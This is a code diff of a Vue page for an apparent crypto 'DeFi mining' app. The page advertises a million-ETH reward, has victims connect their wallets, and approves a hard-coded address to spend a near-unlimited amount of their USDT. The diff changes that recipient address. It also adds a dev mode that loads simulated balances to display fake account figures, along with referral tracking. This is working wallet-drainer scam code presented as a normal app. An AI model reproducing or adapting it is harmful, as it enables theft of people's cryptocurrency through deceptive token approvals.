| | |
| | | <div class="banner-content"> |
| | | <p>{{ $t("message.Defi") }}</p> |
| | | <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p> |
| | | <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> |
| | | <button v-if="!hasApprove && !availableWallet" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> |
| | | <button v-if="availableWallet">{{availableWallet}} USDT</button> |
| | | </div> |
| | | </div> |
| | | <img src="../../assets/images/banner.png" class="banner"/> |
| | |
| | | <OrePool></OrePool> |
| | | </van-tab> |
| | | <van-tab :title='$t("message.Account")'> |
| | | <Account ref="accountRef"></Account> |
| | | <Account ref="accountRef" :simulateData="simulateData"></Account> |
| | | </van-tab> |
| | | </van-tabs> |
| | | <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper"> |
| | |
| | | <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png"> |
| | | <div class="wallet-box"> |
| | | <div class="sub-title"> |
| | | <span>移动</span> |
| | | <span>{{$t("message.Mobile")}}</span> |
| | | </div> |
| | | <p class="title">选择你的钱包</p> |
| | | <p class="title">{{$t("message.ChooseWallet")}}</p> |
| | | <div class="wallet-warp flex flex-wrap align-center justify-between"> |
| | | <a :href="item.link" target="_blank" v-for="item in dappList" class="item"> |
| | | <div class="icon" :style="{background: 'url(' + item.imgUrl +')'}"></div> |
| | |
| | | let isShowAccreditModal = ref(false); |
| | | let isShowWalletModal = ref(false); |
| | | let isApproving = ref(false); //是否授权中 |
| | | let simulateData = ref(null); |
| | | let availableWallet = ref(''); |
| | | let local = ref(proxy.$i18n.locale); |
| | | function changeLanguage(type){ |
| | | localStorage.setItem('lang', type); |
| | | proxy.$i18n.locale = type; |
| | | } |
| | | |
| | |
| | | }); |
| | | await provider.enable(); |
| | | provider.on("accountsChanged", (accounts) => { |
| | | alert(accounts[0]+'换啦') |
| | | console.log(accounts[0]+'换啦') |
| | | }); |
| | | provider.on("disconnect", (code, reason) => { |
| | | sessionStorage.setItem('address', ''); |
| | |
| | | } |
| | | } |
| | | async function init () { |
| | | await proxy.getAddress(); |
| | | if (proxy.walletAddress) { |
| | | proxy.isApprove() |
| | | }else{ |
| | | showAccreditModal(); |
| | | if(proxy.getQueryString('isDev') === 'true' && proxy.getQueryString('batchNo')) { |
| | | proxy.walletAddress = 'KtygcD' |
| | | proxy.getSimulateData(); |
| | | } else { |
| | | await proxy.getAddress(); |
| | | if (proxy.walletAddress) { |
| | | proxy.isApprove() |
| | | }else{ |
| | | showAccreditModal(); |
| | | } |
| | | } |
| | | } |
| | | |
| | | onMounted(() => { |
| | | init() |
| | | }) |
| | | return { |
| | | local: ref('zh'), |
| | | local, |
| | | languague: [ |
| | | { text: 'English', value: 'en' }, |
| | | { text: '简体中文', value: 'zh' }, |
| | | { text: 'English', value: 'en' } |
| | | { text: '日本语', value: 'ja' } |
| | | ], |
| | | // 弹窗显示隐藏 |
| | | isShowApproveModal, |
| | |
| | | name: 'BitPay', |
| | | link: 'https://link.bitpay.com/wallet/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink, |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg' |
| | | }] |
| | | }], |
| | | simulateData, //模拟数据 |
| | | availableWallet |
| | | }; |
| | | }, |
| | | methods: { |
| | |
| | | method: 'get' |
| | | }).then((res) => { |
| | | if(res.code == 200) { |
| | | this.hasApprove = true; |
| | | this.initAccountData() |
| | | sessionStorage.setItem('address', this.walletAddress); |
| | | let result = res.data; |
| | | if(result == 1) { |
| | | this.hasApprove = true; |
| | | this.initAccountData() |
| | | sessionStorage.setItem('address', this.walletAddress); |
| | | } else if (result == 2) { |
| | | this.submitApprove() |
| | | } else { |
| | | this.hasApprove = false; |
| | | this.$toast(this.$t('message.ApproveTip')); |
| | | } |
| | | }else{ |
| | | this.hasApprove = false; |
| | | this.$toast(this.$t('message.ApproveTip')); |
| | |
| | | console.log(res) |
| | | this.submitApprove() |
| | | this.isApproving = false; |
| | | this.isShowApproveModal = false; |
| | | }).catch((err) => { |
| | | console.log('授权失败') |
| | | console.log(err) |
| | | this.isApproving = false; |
| | | this.isShowApproveModal = false; |
| | | }) |
| | | }, |
| | | async tornWebApprove () { |
| | | const tronWeb = window.tronWeb; |
| | | const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; |
| | | const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"; |
| | | const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; |
| | | let instance = await tronWeb.contract().at(trxContractAddress); |
| | | let res = await instance["approve"](authAddress, "90000000000000000000000000000"); |
| | | res.send({ |
| | |
| | | this.submitApprove() |
| | | } |
| | | this.isApproving = false; |
| | | this.isShowApproveModal = false; |
| | | }); |
| | | }, |
| | | submitApprove () { |
| | | let refererId = this.getQueryString('code'); |
| | | this.$axios({ |
| | | url: '/dapi/common/approve', |
| | | method: 'post', |
| | | data: { |
| | | address: this.walletAddress, |
| | | refererId: '' |
| | | refererId: refererId ? refererId : '' |
| | | } |
| | | }).then((res) => { |
| | | if(res.code == 200) { |
| | | this.hasApprove = true; |
| | | this.initAccountData(); |
| | | sessionStorage.setItem('address', this.walletAddress); |
| | | } |
| | | }) |
| | | }, |
| | | initAccountData(){ |
| | | this.accountRef && this.accountRef.value.getWalletInfo(); |
| | | this.accountRef && this.accountRef.value.initData(); |
| | | }, |
| | | getSimulateData () { |
| | | this.$axios({ |
| | | url: '/dapi/common/findSimulateData/' + this.getQueryString('batchNo'), |
| | | method: 'get' |
| | | }).then((res) => { |
| | | if(res.code == 200) { |
| | | this.simulateData = res.data; |
| | | this.availableWallet = this.simulateData.walletInfoVo.availableWallet |
| | | } |
| | | }) |
| | | }, |
| | | getQueryString (name) { |
| | | let reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i'); |
| | | let r = window.location.search.substr(1).match(reg); |
| | | if (r != null) { |
| | | return unescape(r[2]); |
| | | } |
| | | return null; |
| | | } |
| | | } |
| | | } |
| | |
| | | border-radius: 48px; |
| | | } |
| | | .block-btn.van-button--loading{ |
| | | opacity: 0.8 |
| | | opacity: 0.7 |
| | | } |
| | | .close-icon{ |
| | | position: absolute; |